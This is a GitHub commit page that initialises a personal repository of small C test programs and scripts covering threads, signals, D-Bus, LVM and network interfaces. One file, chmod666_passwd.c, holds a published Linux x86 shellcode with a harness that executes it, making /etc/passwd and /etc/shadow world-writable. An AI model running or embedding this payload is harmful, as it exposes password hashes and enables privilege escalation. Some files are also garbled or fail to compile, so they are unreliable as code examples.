Skip to content

Commit 342cf92

Browse files
author
chenjt
committed
init commit
1 parent c8ef7c0 commit 342cf92

File tree

231 files changed

+9712
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

231 files changed

+9712
-0
lines changed

123

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuevice chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/basedel_device chenjt filename=/dev/VG01/baseel_device chenjt filename=/dev/VG01/base

2

+43
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
#include <pthread.h>
2+
#include <stdio.h>
3+
#include <stdlib.h>
4+
5+
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
6+
pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
7+
8+
int recv_thid;
9+
10+
void *timeout_thread(void *junk)
11+
{
12+
sleep(5);
13+
pthread_cancel(recv_thid);
14+
}
15+
16+
void *thread2(void *junk)
17+
{
18+
while (i < 6) {
19+
pthread_mutex_lock(&mutex);
20+
if (i % 3 != 0) {
21+
printf("thread2: wait #%d\n", i);
22+
pthread_cond_wait(&cond, &mutex);
23+
printf("thread2: wait end #%d\n", i);
24+
}
25+
pthread_mutex_unlock(&mutex);
26+
sleep(5);
27+
}
28+
}
29+
30+
int main(void)
31+
{
32+
pthread_t t_a;
33+
pthread_t t_b;
34+
pthread_create(&t_a, NULL, thread1, (void*)NULL);
35+
pthread_create(&t_b, NULL, thread2, (void*)NULL);
36+
pthread_join(t_a, NULL);
37+
pthread_join(t_b, NULL);
38+
39+
pthread_mutex_destroy(&mutex);
40+
pthread_cond_destroy(&cond);
41+
42+
return 0;
43+
}

Created.xml

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<CSocketMsgInfo/>

README.md

+4
Original file line numberDiff line numberDiff line change
@@ -2,3 +2,7 @@ c-language
22
==========
33

44
just save some test scripts
5+
6+
No configure
7+
No Makefile
8+
Not a project

STDOUT

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Operation not permitted

access_test.c

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
#include<stdio.h>
2+
#include<string.h>
3+
#include<errno.h>
4+
5+
void main()
6+
{
7+
#if 1
8+
char *path = "/tmp/a";
9+
#else
10+
char *path = NULL;
11+
#endif
12+
if(access(path, 0) == -1)
13+
printf("%s not exist: %s\n", path, strerror(errno));
14+
else
15+
printf("%s exist\n", path);
16+
}

alarm_test.c

+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
#include <stdio.h>
2+
#include <unistd.h>
3+
#include <signal.h>
4+
5+
char user[40] = {0};
6+
int timeout = 0;
7+
8+
void catch_alarm ( int sig_num)
9+
{
10+
printf ("Sorry,time limit reached. \n");
11+
timeout = 1;
12+
}
13+
14+
int main ( int argc , char *argv[] )
15+
{
16+
signal ( SIGALRM, catch_alarm );
17+
alarm(2);
18+
scanf("%s", user);
19+
if (timeout)
20+
printf("timeout!!!\n");
21+
printf("your username is = '%s' \n",user);
22+
alarm (0);
23+
return 0;
24+
}

alarm_test.o

2.27 KB
Binary file not shown.

atoi_test.c

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
#include<stdio.h>
2+
#include<string.h>
3+
4+
int equal(int num, char *str)
5+
{
6+
int i = atoi(str);
7+
return (num == i);
8+
}
9+
void main()
10+
{
11+
int i = 12;
12+
char num_str[5] = {"12"};
13+
int j = equal(i, num_str);
14+
printf("%d\n", j);
15+
16+
unsigned int t = atoi("-12qw");
17+
if(t > 1000)
18+
printf("t > 1000\n");
19+
}

block_device_test.c

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#include <stdio.h>
2+
3+
int main()
4+
{
5+
int i, j;
6+
scanf("%d", &j);
7+
for(i = 0; i < 4; i++) {
8+
printf("%d\n", j);
9+
}
10+
}

broadcast/a.out

7.18 KB
Binary file not shown.

broadcast/scanlan.c

+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
#include <stdio.h>
2+
#include <ifaddrs.h>
3+
#include <arpa/inet.h>
4+
#include <sys/socket.h>
5+
#include <net/if.h>
6+
#include <netdb.h>
7+
#include <unistd.h>
8+
#include <stdlib.h>
9+
10+
static dm_list *get_broadcast()
11+
{
12+
struct ifaddrs *ifaddr, *ifa;
13+
struct sockaddr *bcast;
14+
struct sockaddr_in *bcast_in;
15+
int s;
16+
char host[NI_MAXHOST];
17+
18+
if (getifaddrs(&ifaddr) == -1) {
19+
exit(-1);
20+
}
21+
22+
for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
23+
if (ifa->ifa_addr == NULL)
24+
continue;
25+
26+
27+
if (ifa->ifa_addr->sa_family == AF_INET) {
28+
s = getnameinfo(ifa->ifa_addr, sizeof (struct sockaddr_in),
29+
host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
30+
if (s != 0) {
31+
exit(-1);
32+
}
33+
if (ifa->ifa_flags & IFF_BROADCAST) {
34+
bcast = ifa->ifa_ifu.ifu_broadaddr;
35+
bcast_in = (struct sockaddr_in*)bcast;
36+
printf("broadcast: %s\n",
37+
inet_ntoa(bcast_in->sin_addr));
38+
}
39+
}
40+
}
41+
42+
freeifaddrs(ifaddr);
43+
exit(0);
44+
}

callback.c

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
4+
int sort_func(void *a, void *b);
5+
int list[5] = {54, 21, 11, 67, 89};
6+
7+
int main(void)
8+
{
9+
int x;
10+
11+
qsort((void*)list, 5, sizeof (list[0]), sort_func);
12+
for (x = 0; x < 5; x++)
13+
printf("%d\n", list[x]);
14+
return 0;
15+
}
16+
17+
int sort_func(void *a, void *b)
18+
{
19+
return *(int*)b - *(int*)a;
20+
}

chmod666_passwd.c

+52
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
/*
2+
Title: Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes
3+
Author: Jean Pascal Pereira <[email protected]>
4+
Web: http://0xffe4.org
5+
6+
7+
Disassembly of section .text:
8+
9+
08048060 <_start>:
10+
8048060: 31 c0 xor %eax,%eax
11+
8048062: 66 b9 b6 01 mov $0x1b6,%cx
12+
8048066: 50 push %eax
13+
8048067: 68 73 73 77 64 push $0x64777373
14+
804806c: 68 2f 2f 70 61 push $0x61702f2f
15+
8048071: 68 2f 65 74 63 push $0x6374652f
16+
8048076: 89 e3 mov %esp,%ebx
17+
8048078: b0 0f mov $0xf,%al
18+
804807a: cd 80 int $0x80
19+
804807c: 31 c0 xor %eax,%eax
20+
804807e: 50 push %eax
21+
804807f: 68 61 64 6f 77 push $0x776f6461
22+
8048084: 68 2f 2f 73 68 push $0x68732f2f
23+
8048089: 68 2f 65 74 63 push $0x6374652f
24+
804808e: 89 e3 mov %esp,%ebx
25+
8048090: b0 0f mov $0xf,%al
26+
8048092: cd 80 int $0x80
27+
8048094: 31 c0 xor %eax,%eax
28+
8048096: 40 inc %eax
29+
8048097: cd 80 int $0x80
30+
31+
32+
33+
*/
34+
35+
#include <stdio.h>
36+
#include <string.h>
37+
38+
char shellcode[] = "\x31\xc0\x66\xb9\xb6\x01\x50\x68\x73\x73\x77\x64"
39+
"\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3"
40+
"\xb0\x0f\xcd\x80\x31\xc0\x50\x68\x61\x64\x6f\x77"
41+
"\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3"
42+
"\xb0\x0f\xcd\x80\x31\xc0\x40\xcd\x80";
43+
44+
45+
int main()
46+
{
47+
void (*fptr)(void);
48+
fprintf(stderr,"Lenght: %d\n",strlen(shellcode));
49+
fptr = shellcode;
50+
fptr();
51+
// (*(void (*)()) shellcode)();
52+
}

container_test.c

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
#include <stdio.h>
2+
3+
#define container_of(ptr, type, member) ({ \
4+
const typeof(((type *)0)->member) *__mptr = (ptr); \
5+
(type *)((char *)__mptr - offsetof(type, member));})
6+
7+
8+
void main()
9+
{
10+
struct A {
11+
int *ptr_a;
12+
};
13+
struct B {
14+
int int_b;
15+
};
16+
typedef struct B structB;
17+
struct A a;
18+
struct B b;
19+
struct B *ptr_B;
20+
b.int_b = 3;
21+
a.ptr_a = &b.int_b;
22+
23+
ptr_B = container_of(a.ptr_a, structB, int_b);
24+
printf("%d\n", ptr_B->int_b);
25+
}

cp_packages.sh

+35
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
#!/bin/bash
2+
DEBUG=0
3+
DVD_CD=/CentOS6/Packages
4+
ALL_RPMS_DIR=/mnt/Packages
5+
DVD_RPMS_DIR=$DVD_CD
6+
packages_list=/opt/packages.list
7+
number_of_packages=`cat $packages_list | wc -l`
8+
i=1
9+
while [ $i -le $number_of_packages ] ; do
10+
line=`head -n $i $packages_list | tail -n -1`
11+
name=`echo $line | awk '{print $1}'`
12+
version=`echo $line | awk '{print $3}' | cut -f 2 -d :`
13+
if [ $DEBUG -eq "1" ] ; then
14+
echo $i: $line
15+
echo $name
16+
echo $version
17+
fi
18+
19+
if [ $DEBUG -eq "1" ] ; then
20+
ls $ALL_RPMS_DIR/$name-$version*
21+
if [ $? -ne 0 ] ; then
22+
echo "cp $ALL_RPMS_DIR/$name$version* "
23+
fi
24+
else
25+
echo "cp $ALL_RPMS_DIR/$name-$version* $DVD_RPMS_DIR/"
26+
cp $ALL_RPMS_DIR/$name$version* $DVD_RPMS_DIR/
27+
# in case the copy failed
28+
if [ $? -ne 0 ] ; then
29+
echo "cp $ALL_RPMS_DIR/$name$version* "
30+
cp $ALL_RPMS_DIR/$name* $DVD_RPMS_DIR/
31+
fi
32+
fi
33+
i=`expr $i + 1`
34+
done
35+

create_cdpstore.pl

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#!/usr/bin/perl
2+
3+
my $str = `lvcreate -S cow -L1G -s /dev/VG-8G/base`;
4+
print "lvcreate *-cdpstore: ".$str."\n";
5+
$str = `lvcdpmark -c /dev/VG-8G/base`;
6+
print "lvcdpmark: ".$str."\n";
7+
#$str = `lvcreate -n snap0 --snapid 0 -s /dev/VG-8G/base`;
8+
#print "lvcreate snapshot volume: ".$str."\n";
9+
#$str = `lvremove /dev/VG-8G/base-cdpstore`;

daemon

6.91 KB
Binary file not shown.

dbus-listen_test.c

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
#include<glib.h>
2+
#include<dbus/dbus.h>
3+
#include<dbus/dbus-glib.h>
4+
5+
static DBusHandlerResult signal_filter(DBusConnection *connection, DBusMessage *message, void *user_data);
6+
7+
int main()
8+
{
9+
GMainLoop *loop;
10+
DBusConnection *bus;
11+
DBusError error;
12+
loop = g_main_loop_new(NULL, 0);
13+
dbus_error_init(&error);
14+
bus = dbus_bus_get(DBUS_BUS_SESSION, &error);
15+
if(!bus)
16+
{
17+
g_warning("Failed to connect to the D-BUS deamon: %s", error.message);
18+
dbus_error_free(&error);
19+
return 1;
20+
}
21+
22+
dbus_connection_setup_with_g_main(bus, NULL);
23+
dbus_bus_add_match(bus, "type='signal',interface='com.burtonini.dbus.Signal'", &error);
24+
dbus_connection_add_filter(bus, signal_filter, loop, NULL);
25+
g_main_loop_run(loop);
26+
return 0;
27+
}
28+
29+
static DBusHandlerResult signal_filter(DBusConnection *connection, DBusMessage *message, void *user_data)
30+
{
31+
GMainLoop *loop = user_data;
32+
if(dbus_message_is_signal(message, DBUS_INTERFACE_LOCAL, "Disconnected"))
33+
{
34+
g_main_loop_quit(loop);
35+
return DBUS_HANDLER_RESULT_HANDLED;
36+
}
37+
else if (dbus_message_is_signal (message, "com.burtonini.dbus.Signal", "Ping"))
38+
{
39+
DBusError error;
40+
char *s;
41+
dbus_error_init(&error);
42+
if(dbus_message_get_args(message, &error, DBUS_TYPE_STRING, &s, DBUS_TYPE_INVALID))
43+
{
44+
g_print("Ping received: %s\n", s);
45+
dbus_free(s);
46+
}
47+
else
48+
{
49+
g_print("Ping received, but error getting message: %s\n", error.message);
50+
dbus_error_free (&error);
51+
}
52+
return DBUS_HANDLER_RESULT_HANDLED;
53+
}
54+
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
55+
}

0 commit comments

Comments
 (0)